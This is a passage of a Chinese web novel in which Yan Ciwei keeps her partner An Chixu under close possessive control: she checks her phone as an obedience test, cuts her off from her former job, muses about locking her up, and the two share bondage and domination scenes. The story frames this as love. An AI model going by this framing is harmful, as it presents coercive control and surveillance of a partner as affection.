晏辞微睁开眼,只看见她的宝贝缩成很小一团,和从前一样,依偎在她怀里。 不要多想了。她已经回来了。 这一次,好好爱她。 晏辞微抱紧了些。 安迟叙在熟悉的天竺葵香中慢慢舒展,回抱晏辞微。 她试着用十五岁那年刚认识晏辞微的心态去对晏辞微,试着用十八岁那年刚开始交往的心态去对待晏辞微。 以为这样就能好。 她想退一步。 她想她变回那个懦弱无能的团团,是不是她们就能结束纠缠的痛苦。 她不想要晏辞微的撕咬、血泪、崩溃。 那一夜她被咬掉积攒两年的盔甲,暴露出的血肉流向养育她母亲,只剩心疼。 她想要……晏辞微的教导与控制。 久违的放纵让她倍感欢.愉。 这一刻安迟叙才认清她有多下贱。 竟是个会因堕落而百倍快乐的人。 不。 她不过是晏辞微的猫儿。 被打了就想永远留下的猫儿。 安迟叙松了躯体,融进晏辞微的怀抱。 这一次,好好被她控制。 * * * 今天开始做晏辞微的助理。 安迟叙看着镜子里的自己,多少有些陌生。 她都马尾衬衫裤子多久了。 不是不喜欢裙装,打扮。只是没空,应接不暇为工作苦恼,耗去全部精力。 晏辞微今天给她编了四股辫子。 两股绕在脑后,两股自然向前。 剩于的头发简单卷了卷,任其散在耳畔。 很复杂的一个发型,安迟叙都没弄清楚晏辞微怎么编的。 她迷迷糊糊的坐在梳妆台前犯困,被亲醒的时候晏辞微就给她梳好了。 衣服也是定制套装。上衣纹着两排装饰扣,下摆开叉,透出内衬的百褶。不花哨,却很亮眼。 只有晏辞微最知道怎么凸显安迟叙的美。 坐上车,安迟叙等着晏辞微给她系安全带,没由来得紧了下心脏。 “真的什么都不用做吗?”路上她没忍住,还是忤逆了她的妈咪。 晏辞微在红灯处停下,侧过头。 嘴角笑着,桃花眼微冷。 “为什么要去受累?”她凝视着安迟叙。 眨眼,收回猩红的监视。 手掌抚在安迟叙头上,揉了揉。“不想你辛苦,但想我们一直在一起。” 所以才让她成了新助理。 安迟叙头顶一沉。 原来无论旧助理做没做错事,都会在昨天被换掉。 * * * 开晨会了。 安迟叙一定是最轻松的助理。资料没看过,要开会的内容没收集过。晏辞微的这群下属除了策划部门的,她也一个没见过。 她好像晏辞微的女儿,暑假不能一个人在家,就被妈咪带来集团,无所事事就跟着妈咪去开会,在旁边春游似的乱转。 她也真是来郊游的。 晏辞微让她喜欢哪儿就坐在哪儿,也不用记录会议。想听可以听,但没必要。 甚至没有人敢有意见。 晏辞微的手下可能被叮嘱过,也可能她对安迟叙的态度在分部传开了。 谁会自讨没趣去找总经理,集团董事长的女儿,既定的继承人的情人的麻烦? 开完会,安迟叙下意识把会议内容全记在脑子里,跟在晏辞微身后想提醒她宣传部的事。 “嗯?”晏辞微听了一遍,侧过头。 “记这个做什么。”她甚至没有解释说她自己记了,反问来达成新的责怪。 安迟叙不说话了。 “团团,要明白。”晏辞微牵着她,引她入自己的怀抱。 这还是公共场合。 身边随时有员工经过。 晏辞微毫不避讳的亲昵多刺眼。 最先扎向她怀里的爱人。 安迟叙一阵哆嗦。 “姐姐来了,你不用再受累了。”无论是会打压人的上司,还是说不清要求,喜欢阴阳怪气的合作方。亦或者盗窃内容,满肚子坏水的对手。 都可以不用再烦恼了。 姐姐来了。她帮你解决了一切。 用不可拒绝的姿态罩着你。 安迟叙垂眸,心跳比昨日快了几次。 路过原来的办公室。 安迟叙想起沈既白后台的舞台,杨煦下周的节目,《暴风营地》第三期会议在即。 她腿往那边迈了一步。 “要去看你的‘朋友’吗?”晏辞微的视线却死死黏在安迟叙背上。 冷又潮湿,针扎一般刺痛着。 钉住安迟叙的脚踝。 好像真的穿刺,把她钉死。 安迟叙僵硬着转身。 “不是朋友。”她听见了晏辞微的腔调。 “走吧,姐姐。”安迟叙放弃了。 她的小组有新的组长了,马上会和另一个小组接洽,拿到新的任务。 她们当真和她无关了。 * * * 陪晏辞微外出跑商务的那天,沈既白有个舞台。 安迟叙睁眼想起这件事,就要去拿手机。 碰到手机又不知该做什么,她头脑里没有任何关于这次舞台的信息,反应片刻才想起,她已经不是沈既白的人设策划师了。 “看时间?还早,不到七点。”晏辞微按住安迟叙的手。 “我们今天十点到就行。还能补会儿觉。”没到晏辞微固定起床的点,她挠挠安迟叙的掌心,扣着带她回来。 安迟叙滚入她的怀抱,睁着圆圆杏眼,迷茫又水灵,颇为可爱。 “昨天不累吗?”晏辞微就逗她。 昨夜她们尽兴,是她们最熟悉的方式。晏辞微发令,安迟叙跟随。晏辞微都有点累了。 “我爱你。”安迟叙答非所问。她抓住晏辞微的衣襟,又说了一次。 “我爱你。”这次比方才更沉了点,少了一闪而过的惊慌。 “那就更要好好休息。你的作息要调整过来,宝贝。不能像我不照顾你的时候一样熬夜。”晏辞微回忆了下昨夜的手感。 她的团团把自己养得太瘦了。得好好补补。 “乖,我也爱你。”晏辞微轻哄着。转瞬安迟叙就睡着了。 她就知道。 晏辞微抚过安迟叙的头,将她黏在脸上的碎发捋走。 她的团团分明和两年前一样。睡不够,得她监督着。 十五分钟后,晏辞微腰被一双手圈住,她的团团贴上来。 “姐姐……早。”安迟叙真的成为了二十岁。 晏辞微鼻尖还在发酸,手已经习惯的落在安迟叙手背上,拉紧了点,要抱她。 “我爱你。”不同的是,安迟叙比之前更喜欢说这句话。 晏辞微好欢喜。 她放下厨具转身,抱紧她的团团。 终于回来了。 “我也爱你。早,我的团团。”终于可以继续爱她。 “今天去的地方旁边有集市,几家店都不错,结束之后带你去走走。”车上,晏辞微一如既往的安排着一切。 安迟叙嗯一声,眼神稍微飘忽。 她想的是,那里离沈既白表演的地方很近。 说不定她们会碰到,说不定她有机会看看这个自己一手带起来的小姑娘,最后的作品,现在的模样。 “姐姐,我……”安迟叙侧头,开口想问。 她做什么都需要晏辞微的同意。这是她们心照不宣的规矩。 毕竟,她不过是晏辞微的小猫,永远长不大的女儿。 世界太危险。晏辞微不允许她到处乱跑,怕她磕着碰着。 “嗯?”晏辞微停下车,侧目。 窗外的树也停了重影,云也淡了边界。 安迟叙眨眼,晏辞微眼底的猩红仿佛熄灭。 她看清了树,看清了云。 却看不清晏辞微的眼。 那双眼里没有血腥的颜色了。 只剩空寂的黑。漆漆着,沉闷一片。 晏辞微的眼睛明明很漂亮。 安迟叙再眨眼。 晏辞微已经收回眼神,继续发动了。 仿佛等待安迟叙给出问题,是没有意义的事。 毕竟安迟叙想做的事,晏辞微都计划好了。 她们不该有计划之外的事。安迟叙不该有计划之外的想法。 也许……只是因为红灯变了绿灯。 也许只是自己没有保护眼睛,视力下降。 也许自己刚刚根本没有开口—— “我……我爱你。” 安迟叙低下头,闭了嘴。 * * * 晏辞微面见了好多人。 安迟叙根本不认识,没见过,顶多有所耳闻。 这位是电台总监,这位是项目负责人,那位是赞助商。 “这是我爱人。”晏辞微跟她们介绍安迟叙。 她们看向安迟叙手上的银饰戒指,了然。 “很漂亮嘛,你们看着很般配啊。”夸赞安迟叙。 安迟叙不自在的往后缩,被晏辞微护在身后。 二十岁那年安迟叙以为这是晏辞微的保护。 这会儿她却感到某种隐秘的明知故犯。 晏辞微可以提前跟她介绍她们的。 安迟叙望着晏辞微的背,目光忽然穿过她的耳发。 ……晏辞微已经比自己矮了。 她不再是那高大的保护墙。 耳发的后面,更远的地方。 安迟叙看见了沈既白。 沈既白在和她的队友掰扯什么,两个人争得面红耳赤。 安迟叙拧眉,忘了自己还在面对陌生人,想要上前。 晏辞微回过头看着她。 “……走神了。姐姐,我不舒服。”安迟叙缩回去,压低了声音。 “没事,最多两分钟。”晏辞微耳语安抚。 几乎用唇形在安迟叙耳畔描摹。 两分钟后,晏辞微牵着安迟叙离开,她们要检视别的项目。 傍晚逛完集市,安迟叙头上别着刚买的小发卡。 她有很久没有捡起这个兴趣了,之前没空也没钱,除了房租生活费,安迟叙想攒钱自己在s市买房。 或者租房也行,她不太想一直住在晏辞微的房子里。 如今有空也有钱了。她最爱的姐姐还陪着她。 她一时兴起,试了好多个。 晏辞微都可以把店面包下来了。 她却只挑了其中最适合安迟叙的几枚买走。 “剩下的不好看。”晏辞微捏了下安迟叙犹豫的脸。 “还有别的店呢。”把她带了出去。 安迟叙默了一秒。知道她不适合,她只是觉得这只好看。 单独摆着也很可爱啊。她想别在她们的化妆镜上。 只是,晏辞微都发话了。 安迟叙把那只花里胡哨的放下。 后面几个店亦是如此。 不过,安迟叙也买了很多了。她蹦跳着打开袋子,差点晃出来一个。 “上车看,乖团。”晏辞微瞧她幼猫的神情就开心。接过她的袋子,挽着她往车上走。 晚上,晏辞微给安迟叙取着头上的夹子。 她们刚刚又试了两个发型,晏辞微很满意她挑选的款式。 跟她的宝贝很配。她的眼光从不出错。 安迟叙拿着手机,不自觉点开了热搜。 翻了好久没翻到和沈既白有关的,她松了口气,又刷新别的软件,看见了粉丝拍的视频。 没出事就好。 安迟叙是掩着做这一切的。 她自以为迅速,盖着屏幕只给晏辞微看一片黑,一分钟不到就准备关上。 晏辞微沉了眼眸。 两个人的动作都被消息提示音打破。 安迟叙顿了下,红着耳根打开屏幕,去看自己的微信。 晏辞微没有开口,静默着给她取夹子。 安迟叙看见是新的好友申请。 她还挺惊讶。这是晏辞微这次给她开的新号,总共没加几个人,谁会在这会儿加上她? 看见申请人,安迟叙下意识把手机别过去。 “那个姐姐,我,我上个厕所……”她知道她的借口很蹩脚。 “好。等你。”晏辞微意外没有拆穿她。 也没有抽走她的手机。 安迟叙对上晏辞微的视线,只看见如常的温柔。 怔怔三秒,安迟叙抱着手机进了浴室。 她通过了沈既白的好友。 对方似乎一直在等,秒回的。 【安姐!我,我今天看见你了!】 安迟叙顿了顿手,一时间不知道该怎么回她。 【我听慕风说了,你成了小晏总的助理。她还说你们是和好了。】没得到回信,沈既白还在继续发。 沈既白是工作认识的人里唯一一个听说过安迟叙感情状况的人。 安迟叙知道她想说什么了。 犹如她想告白那天。 小姑娘的心思写在脸上,谁都可以轻易看穿。 安迟叙……没有阻止。 上次她已经提醒过了,这次她忽然不太想打断。 【那个,那个,我知道有点冒昧,我只是……我,我现在觉得你之前的话很有道理。关于掌控,不对等,感情的那个……】 【我很感谢你的拒绝,那天教我的东西,我都记住了。我也觉得现在这样更好,我找回了自己,事业也有起色了】 【所以,安姐,你为什么要回去和她在一起?你明明说了那是掌控,你不喜欢那种感觉,更想要做自己。】 沈既白的关心无疑出自那份还没有消失的感情。 少年时期微妙又热烈的心动。被拒绝了也得等时间流逝。 安迟叙更不知道如何应付她这番话。 像她所说,太冒昧了。 可安迟叙心口一绞。 在她自甘堕落,乐意沉沦的时候。 竟真的有一个人前来质问她。 好像一击重锤。 安迟叙就要清醒。 “团团?还没好吗?”晏辞微的声音如鬼影。 闪现在安迟叙耳畔,不管不顾的钻入她的脑海。 天竺葵的甜苦也飘入安迟叙的鼻腔。 流向脑髓。 安迟叙沉眼,打下回复。 【人都有惰性。】 她和沈既白不一样。 她被掌控过。尝过甜头,吃亏自由的苦。 【我想爱她。】 安迟叙关了手机,走出浴室。 被趴在浴室门上的晏辞微吓了一跳。 晏辞微好像恪守的厉鬼。削尖脑门儿想要钻进安迟叙的私人空间,哪怕进不去也要在外面看一眼。 这种感觉只有一瞬。 下一瞬晏辞微又恢复优雅的从容。 她勾起温和的笑,像每一个拥抱时的亲吻。 “手机,给我吧?”然后伸出手—— 作者有话说:看见读者评论,感觉说的很好,顺从的是团团,不是安迟叙。 是人就总有冲动的时候,犯傻的时候,忽然累了想放弃的时候,前文里晏辞微做过,安迟叙也会这样。 但对安迟叙来说,这不会是永远。已经睁开眼的人,不会忍得了重回黑暗 第57章 第 57 章 绝对的主动权 如何饲养一只金丝雀? 首先要抓住她的双腿, 将她绑在枝丫上。 磨损她的喙,让她咬不开脚铐。 剪断她的翅膀,让她飞不出房间。 再给她打造一只金色的笼子, 让她逃不掉。 如何饲养一位爱人? 自然是在此基础上日夜抚摸她, 亲吻她。 说脚铐是害怕她跌倒。 磨喙是怕她啄伤。 剪羽是替她修理累赘。 笼子则是她最合适的家。 再用最亲密最温柔的声音告诉她—— “这都是爱。” * * * 晏辞微要查安迟叙的手机了。 哪怕是大学交往的四年里,晏辞微都不曾动过安迟叙的手机。 安迟叙只有她。她深知这一点,不会缺乏安全感,不会有神经质的怀疑。 也就不需要安迟叙的手机。 总归认识了谁,聊了什么, 安迟叙都会告诉她。 那时她不必动手就能掌控安迟叙。镣铐无形, 化名为爱。 她的小猫年幼又怯懦, 只会围着她转圈。开了门都不敢踏出一步, 缩在角落瑟瑟发抖。 两年过去。 晏辞微亲自给安迟叙戴上实质的镣铐。 外面刻着安迟叙的名, 内里刻着所有者的昵称。 那银饰是宠物的象征,掌控的手段。 此刻晏辞微也需要安迟叙交出她的私.密。 又是一场服从性测试。 安迟叙的手机捏在手里,汗珠从额角滑落。 室内是恒温的二十四度,不热不冷。汗水突兀, 晏辞微的眼顺着那一粒汗向下扫。 她眼神一滑。汗液落在安迟叙肩头, 僵了一寸肌肤。 晏辞微的凝视她太熟悉。本该习惯、喜爱。 紧张却徒然从肩头升起。 如果她后退一步。晏辞微会毫不犹豫上前抢夺,矛盾升级。 如果她向前逃跑。晏辞微定会找到她藏身的地方, 毫无意义。 这哪儿是服从性测试。 安迟叙心底响起一声轻哂。 她从来都没得选。 只有听晏辞微话这一套路。 原来是调.教。 安迟叙在明悟这一刻选择了接受。 她把手机递给了晏辞微。 没有锁屏, 没有退出聊天界面,更没有提前删除聊天记录。 晏辞微是她的妈咪。没什么不能看的。 晏辞微捏住手机一角。 在安迟叙松手前一抽,引得安迟叙一个趔趄, 跌入她怀抱。 “乖。”晏辞微拿到了手机。 也得到了她的小猫。 她抚过安迟叙的背脊,给她险些炸毛的胆小猫顺气。听着安迟叙的呼吸慢慢平静,晏辞微心底只有满足。 到手机屏幕自动锁上。 晏辞微还抱着安迟叙, 从头发抚到尾。 安迟叙索性埋头,往晏辞微怀里钻。 既然已经闻到天竺葵的味道。 不如就此放弃,让这毒素彻底包裹她。 被麻痹至少不会痛。 不然着手机被晏辞微贴在她身上,硬邦邦的屏幕碰着皮肤,真有点让她难受。 晏辞微被她讨好到,干脆抱着她回到了床上。 搂着她,把手机放在她面前。 要当着她面查看她的手机。 安迟叙垂眸。 晏辞微轻车熟路的输入密码——她的生日。 她手机、银行卡……所有的密码也都是安迟叙的生日,和表白外加安迟叙名字的字母排列组合。 分开两年,也没有变。 屏幕亮了,安迟叙和沈既白的聊天框跳入眼帘。 晏辞微从下往上看。两个人总共没聊几句话,很快就看完了。 只是,晏辞微迟迟没有动作。 安迟叙等待着宣判,煎熬的过程比最终的行刑更难受。 忽然一声叹息。 安迟叙惊了一激灵。 晏辞微放下手机,抱住安迟叙,头搭在她肩膀上。 用她们最习惯的姿势,彻底将安迟叙锁住。 “她找你吃饭的那天,你和她说了什么?”那天晏辞微假扮服务员守了全程。 她分明知道,只是想要安迟叙说出来。 又是一次调.教。 把羞耻的东西,私密的东西,全都强迫吐露。 一定要用最不舒服,最直白的方式。 这样金丝雀不再有羽毛、利爪、尖喙。 她的所有将变成木偶的提线,落在主.人的手里。 “……我说,我们地位不对等。”安迟叙默默承受这场羞辱。 “如果交往,她会落入我的掌控,失去自我,变成我包养的金丝雀。” 晏辞微让她复述。她记得她说的原话,却刻意替换了用词。 头脑微微发热。 安迟叙甚至开始期待—— 如果她惹怒了晏辞微,会怎样? 晏辞微会咬她?吻她?还是…… 把她彻底关起来? 要不把她关起来吧。 再吻她,咬她,吃掉她。 掌着安迟叙胳膊的手,收紧了。 安迟叙呼吸变沉,忍不住继续。 “我还说,没有人喜欢被包养,她有自我,也不该被我掌控……” 肩膀再次被咬痛,安迟叙断了话头,仰头忍受。 生理性泪水随申口今涌出时,安迟叙才意识到。 她不过是在反抗,妄想以此报复晏辞微。 * * * 晏辞微难得收力了。 松口时,肩膀上没留下多深的印子。 安迟叙被放倒,晏辞微的阴影压在她身上,视野一片模糊。 她的手被攥紧。 晏辞微的手掌成了绳索,死死的系着安迟叙的手腕。 晏辞微也不多话,叼着安迟叙的衣领将它扯掉。 胸口的起伏明显了。晏辞微看向相较之下贫瘠的山脉,用视线刮弄。 “就这么想看我生气。”晏辞微当然明白安迟叙在想什么。因此克制住了失态。 安迟叙的打算被拆穿,别过头,满眼不甘。 “好玩吗?”晏辞微松开掣肘。 安迟叙没有跑,也没有反抗。不过乖乖的搂住晏辞微的腰,引她向下。 “嗯?”晏辞微遂她愿落下。 重量压在安迟叙身上,然后是温热的鼻息,轻柔的吻。 “唔……”这是安迟叙唯一能回给晏辞微的话。 明明吻很轻。别说比起刚刚的咬,就算比起抚摸也太轻太轻了。 安迟叙依旧动了心思,心跳加速着,有些受不了。 报复失败或者成功,带来的快乐都这么大。 安迟叙像第一次发现自己的劣根性一般,享受着这份恶劣又扭曲的感受。 “这不是包养你,团团。”晏辞微也对她的顺从很受用,语气放缓,说话时唇瓣还在蹭她的嘴角。 “那是什么?爱吗?”安迟叙呼出一口气。 她知道她这一口气把晏辞微眼挠红了,竟展露一个笑。 晏辞微再次咬住她的唇。这一次不再克制,急匆匆折磨起她的舌尖。 吻得好急。 安迟叙抓着晏辞微的腰就像在抓chuang单。 受着晏辞微的唇齿就像在受锋利的刀。 明明是刀在捅她。 安迟叙却觉得畅快。 主动加深。 …… 吻到她没了呼吸,晏辞微松嘴让她休息。 她紧紧抓着晏辞微,一双眼带着水雾,是y求不满。 晏辞微不给了。 她嘴角还带着一块蜜。看得安迟叙好想去舔。 堪堪十几厘米的距离,她却被晏辞微完全压制,又一次看得见吃不到。 安迟叙这才开始呼吸。 晏辞微红一双眼,死死的凝视着安迟叙。 直到安迟叙把眼底的清泪眨去。 视野不过黑了一秒。 再睁眼,晏辞微的手就落在安迟叙的脸上。 捧着她的脸,疼惜的抚摸过她的嘴角。 安迟叙吃不到。晏辞微却有绝对的主动权,可以给予,亦可随时收回。 “这就是爱。”晏辞微按了下安迟叙不听话的唇峰。 “团团,我没有在包养你,我是在爱你。” 她循循善诱着,仿佛礁石上的海妖,唱起不容拒绝的歌。 “我以为,你是愿意的。”在安迟叙露出不屑神情的那一刻,抚摸改为掐。 安迟叙也掐上晏辞微的腰。 她愿意啊。怎么不愿意呢? 想拒绝的话,她早该逃得远远的,离开晏辞微的家,离开s市,离开华国。 原来她是咎由自取。 安迟叙再把漂亮的泪洒到晏辞微身上,晏辞微也笑了。 晏辞微俯身把安迟叙抱起来,要她坐在自己身上,像之前在办公室那样,只是这次要进入正题。 “乖女儿。说我爱你。”她一定要安迟叙承认。 她爱安迟叙,那不是包养。 “我爱你。”安迟叙不说“你爱我”,轻笑着吃上她的妈咪。 * * * “不尽兴。”安迟叙抱着晏辞微的背,贴着光洁的肌肤,感受她骨骼的起伏。 “嗯?”晏辞微正在收拾狼藉。 今天已经够疯了。 安迟叙被牵着予取予求,就差戴上项圈,被晏辞微掌着下跪,挨巴掌,接受真正的tiao.jiao。 就这样安迟叙还说不满足。 晏辞微侧过头,得到一个亲吻。 吻得很烈。安迟叙在享受上气不接下气的窒息感。 好像是安迟叙有点疯了。 晏辞微顿了顿,抚过安迟叙的头。 “很晚了,团团要好好休息才是。周末陪你,两天都行。” 晏辞微是好妈妈。她要照顾好她叛逆期的女儿。 很难。但今夜颇有成效。 瞧她的团团变得多热情。 “我爱你。”安迟叙咬住晏辞微的耳垂。 “乖团。”晏辞微稍微有点招架不住,抱着她的小顽皮进浴室。 “不看了吗?”安迟叙乖乖张开双臂,让晏辞微抱着她洗。 把一切都打开。 “手机?不看了。”不过是调.教的手段。 晏辞微不担心安迟叙的聊天记录有见不得她的内容。 “想给我看?”搓了两下,安迟叙扭到浴缸另一头,跟滑泥鳅一样,晏辞微才终于反应过来。 “你可以看。”安迟叙被重新捉住。 晏辞微不过重新养了她几天。成效颇丰。 她肌肤都比之前更细腻饱满了。 晏辞微给她冲洗干净,连着吻了好多下。 “有什么想让我看的?”晏辞微反而没了兴趣,失笑揉过安迟叙的头。 “安予笙?”她猜都能猜到。 安迟叙摊在她怀里,眼里的光颤了颤。 “……你要回去吗?”安予笙大概要安迟叙回老家。 每次联系安迟叙就这么点事,晏辞微都乏味了。 劝也劝过了。安迟叙要是冥顽不化,她就只好把安迟叙关起来了。 这样,无论那间阳光房,还是那对嫁衣。都有了去处。 “不回。”这次安迟叙比任何时候答应都快。 她捏过晏辞微的脸。 “她喊我回去给妹妹过生日。我不回。”也许听话也是报复。 安迟叙头脑还在发热呢。嗡嗡的,把她五感都变得模糊。 现在她不止看不清晏辞微。 听也听得暧昧,闻也闻得模糊。 只有晏辞微抱紧她,天竺葵香浓郁到无法忽视。 安迟叙才能闻到熟悉的苦香。 ……她喜欢天竺葵的味道。 于是她抱紧了晏辞微。 “不回。”晏辞微深深的回应着她,势必要把她全部吞没入.体,抱得这样紧。 “我给你过。” 天竺葵的味道真让人安心。安迟叙闭着眼,她快被晏辞微搂紧到散架、无法呼吸,喉头挤出一串笑。 “那是我妹妹的生日。不是我的。” “那也没关系。都能过。”过去两年她错失了安迟叙的生日,刚好补上,还不耽误今年的。 洗完澡,晏辞微可算把她莫名亢奋的小猫伺候好,送上床了。 她躺上去,小猫就挪到她身边,亲昵的贴着她,好整以暇。 “看来是真没尽兴。”晏辞微忍不住拍了安迟叙一下。 安迟叙翘着塌了半边身子。 是在邀请。 “睡觉。睡不着喊我,到时候给你念故事。”晏辞微不得不无视这份难能可贵的邀请。 她拖着安迟叙往下躺。 半晌,安迟叙呼吸平稳。 晏辞微也放心闭眼。 ……两个小时后。 安迟叙睁开眼,亢奋结束,头脑冷得发痛。 她望了一眼身旁的晏辞微,心跳又一次加速。 看了许久。 月色都淡了,安迟叙才悄悄伸手。 把晏辞微放在床头柜上的手机拿了过来。 输入自己的密码,解锁。 她打开了晏辞微的手机—— 作者有话说:感觉两个人都有一丶丶疯了[求你了][求求你了] 第58章 第 58 章 没法再假装 安迟叙不知道她妹妹的生日究竟是什么时候。 安予笙从七月初就开始给她发消息。一直到现在都还在唤她回家。 也许妹妹的生日在八月中旬。 她也不在意。 晏辞微也不在意。 她只挑了一个有空的周末, 给团团补偿这两年的生日,省的今年的没法好好过。 两年了。 安迟叙睁眼看见一条夸张的红缎带,眉眼弯成线。 ——团团生日快乐 16岁开始的每一个生日, 晏辞微都会给她过。 曾经上学时过得简单。不过一份礼物, 一个蛋糕。 最放纵的一次是晚自习晏辞微偷偷牵着安迟叙溜出学校,去预定好的餐厅约会。 大学之后活动更丰富点,晏辞微会带她去周边旅游,装病请假的那次她们看了临市水乡的风景。 如今两年过去。安迟叙无暇也无心给自己过生。 十一月最初的那一天与任何一天无异。 没有朋友,亲人也不会记得给她发祝福。安迟叙都快忘了自己还有生日可过。 现在爱人回来了。 晏辞微抱住她意外早醒的团团, 亲过她的脖颈。 “姐姐~”安迟叙被亲得痒, 一个劲往旁边躲。 “生日早安吻。不喜欢?”晏辞微搂紧她的腰, 指甲也不安分, 轻轻的刮着。 “痒。”安迟叙终究被捉进她怀里, 一身激灵,眼泪都快出来了。 她浑身绷紧着,又被晏辞微捉弄了好几下。 “洗漱去。早饭吃了再拆礼物。”晏辞微玩够了,把小猫捉起来, 抱到浴室。 安迟叙脖颈上还留着特殊礼物呢。 一片片的红痕看起来有些微妙, 好像被虐待了一般。 只有安迟叙自己知道,这些都是晏辞微吻出来的。 安迟叙的舌头忙着做别的事, 应付不了晏辞微的感觉, 晏辞微就照着她肌肤一顿乱啃。 “横幅呢?不收了吗?”安迟叙都懒得站稳,几乎靠在晏辞微怀里,整个人软乎乎的, 就要晏辞微抱着。 她的发问是下意识的。 晏辞微手顿了下。 “很重要吗?总之不会让你睡觉时被它打。”轻飘飘的揭过这件事,犬牙不带力气得磨过安迟叙的肩膀。 “好奇嘛。”安迟叙扭了一下,勉强逃离晏辞微的魔牙。 她皮肤被吻得发痛, 晏辞微随便碰她一下她都能跳起来,更别说齿尖接触,哪怕只是玩闹似的咬。 安迟叙起的比计划早,过于兴奋不肯再睡。晏辞微不得不把她按在床上。 “我都洗漱了,姐姐……要不你把我捆起来?”她最近对这方面的事异常感兴趣。 晏辞微定定看了她三秒,而后找出放在床头柜的绳子。 “这可是你要的。”晏辞微很“听话”。 安迟叙手脚被束缚在床上,晏辞微不来解救她,她就会一直被困下去,处境比睡美人更糟。 却是她所希望的。 这大约是调.教的力量。 晏辞微已经不需要开口,安迟叙就知道她想要什么。 而后,主动提出。不要晏辞微难堪。 “挺漂亮的。我们团团的身体……很可爱,很美。”晏辞微捆完,像看一件艺术品,竟是亮了弯着的桃花眼。 深渊反出的光最诱人、最危险。安迟叙对上这双沉沉的眸子,心口紧得发痛。 她有些期待—— 晏辞微不轻不重的拍了一掌在她腿上。 不痛。 只有些发麻的痒。 晏辞微不敢拍得太重,怕自己藏了许久的血性被激发,又怕让安迟叙太舒服。 惩.罚结束了。或者说,即将开始。 “痒……”见晏辞微要走了,安迟叙忸怩着挽留。 “乖一点。姐姐做完早饭就回来。”晏辞微停了一秒,似乎要把眼里的光都渡给安迟叙。 像接吻时互换的空气。只属于彼此的气息暧昧、缠绵,粘腻到让人不适的地步。 安迟叙略仰起头,眼神已然迷离。 “救你。”晏辞微把骑士的判词说完。 留下被她软禁的公主。 * * * 早餐丰盛到安迟叙有点吃不动。 晏辞微今天做了粤式早茶,十余种点心摆在桌上,看得安迟叙有点呆。 她也就等了十几分钟吧? 被放置的时候很难正确的感知时间。 安迟叙不知道晏辞微是什么时候准备的。 但,晏辞微一直有很多秘密。背着安迟叙也会做很多事。 只是晏辞微能看透安迟叙而已。 看不透就跟着她,抱着她,直到把暧昧的外衣撕下来。 “真可爱。”晏辞微欣赏着小猫的呆脸,指甲挠过她的脸蛋。 安迟叙侧脸,被她一把捞入怀。 “还是得妈咪喂你,对吗?”说着晏辞微便抱着安迟叙坐下。 插起一块马蹄糕,送到安迟叙嘴边。 马蹄糕已经被切得很小。 安迟叙乖乖张嘴。 晏辞微把琥珀色半透明的长方体压在她舌尖。 反复碾过。 晏辞微不许她咬。她牙齿有一点动作,叉子就会打上去。 也不许她吞。牵着糕点的绳索被晏辞微牢牢掌控。 食物,也是可以握在手里的鞭子。 安迟叙在本能的干呕中看见从自己身上牵出的丝。 她被训得毫无还手之力,心跳飞速,一顿饭吃完已浑身是汗。 晏辞微提着她就像提小猫,两个人进了浴室。 * * * 晏辞微很克制。安迟叙是不太安分,但她必须听话。 出来晏辞微给她擦过水,将一只礼物盒子摆在她面前。 “今年的?”安迟叙又活过来,满眼水光,亮堂堂的可爱。 “准确来说是去年的。”晏辞微拿着毛巾给她处理脖颈上最后几颗水珠。 她擦得有些太认真了,好像真的是在对待无价的珍宝,舍不得她有一丝不完美。 “拆开试试吧。”晏辞微放下毛巾,说着代劳打开了礼物盒。 今年她给安迟叙准备的,是一套崭新的嫁衣。 她们都有,是成对的。还有戒指、首饰、鞋…… 离十一月只剩三个月了。 安迟叙比起两年前,尺寸不太一样了。但就算她还能穿,晏辞微也会给她重新定做。 照这个进度走下去,今年这套总不会浪费了。 而去年的生日礼物,也是一套衣服,红色的,怪喜庆。 安迟叙看清裙子的模样。 常服款式,及膝长裙,四季都能穿。很有设计感,低调,细节处却满是珠光宝气,华贵奢靡。 主题元素是红蝴蝶。 还有些零零散散的花,瞧着像天竺葵。 首饰更明目张胆,天竺葵特别的花团点在中心,串起整套珠宝。 这都是晏辞微给安迟叙定做的。 安迟叙抚摸过布料。 窗花一般的蝴蝶每一只都不一样,是手工缝纫。 她不会知道,每一只蝴蝶每一朵花,都是晏辞微熬夜亲自缝的。 这已经是第五版了。 “来,乖团。”晏辞微从安迟叙手中接过这一尾裙。 “姐姐给你穿。”她的宝贝的生日,就是要穿她做的衣服,吃她做的饭。 安迟叙乖巧如猫。扣子系上后,安迟叙讶然。 裙子的尺寸是合身的。每一寸都刚刚好契合,也不知道晏辞微是什么时候做完的。 “这些就不要取了。”晏辞微把珠宝也戴在安迟叙身上。 玉镯、吊坠、胸针。款式都不复杂,平日也能戴出门。 “还有前年的。”等安迟叙整理完,晏辞微又拿出一个盒子。 “好多呀。”分开的两年,晏辞微竟一次不落的给她准备了礼物。 她都没有…… “给你的东西。我还嫌不够。”因为行动受限,和安迟叙不在一起。晏辞微只觉得自己准备的不够好。 “那我没有给你的,怎么办?”安迟叙打开盒子,出乎意料的是一只缩小版晏辞微。 又一只布娃娃。比家里那只旧的略长些,看起来像三岁的晏辞微和五岁的晏辞微。 安迟叙不自觉抚过布娃娃脸上的红痣。 旧的那只发过霉,她只是舍不得丢。 现在她有新的了。 “你回来爱我,就够了。”晏辞微把娃娃从安迟叙手中取下。似乎连她自己的布娃娃的醋都要吃。 安迟叙睫毛顺着动作垂落。 晏辞微牵着她的手向后,彼此搂紧。 安迟叙压着晏辞微的腰,呼吸轻缓。 爱吗…… “真没有给我的?”抱热时晏辞微终于忍不住。 “我的回忆录?”安迟叙收了情绪,哂笑。 “好。” “你还真要啊。日记一样的东西。” “你先说要给的。” 晏辞微咬了安迟叙脸颊一口。不重,牙印都没留下。 也许,是她更爱安迟叙。 晏辞微感到满足。 * * * 别墅有能唱歌的房间。晏辞微牵着安迟叙往那边走。 路过阳光房,安迟叙忍不住侧头,探过去。 里面却什么都没有了。 没有猫爬架、猫砂盆、猫饭盆。 当然也没有橘子。 安迟叙眨过眼,水雾清洗她的视线,阳光房里也不会再出现任何橘子的痕迹。 倒是,她喜欢的饰品盒已经摆在书桌上了。 晏辞微拽了安迟叙一下。 安迟叙回过头,不再走神。 私家ktv更干净。 晏辞微调着声音,把歌给安迟叙点上。 除了晏辞微,还没有人知道安迟叙唱歌好听。 记忆里的ktv从来只有两个人。安迟叙拿着话筒,干脆趴晏辞微身上闹。 两个人闹了四个小时。晏辞微又带安迟叙出门逛了公园。可惜公园里没有湖,她们没能一起划船。 回家吃蛋糕和长寿面。 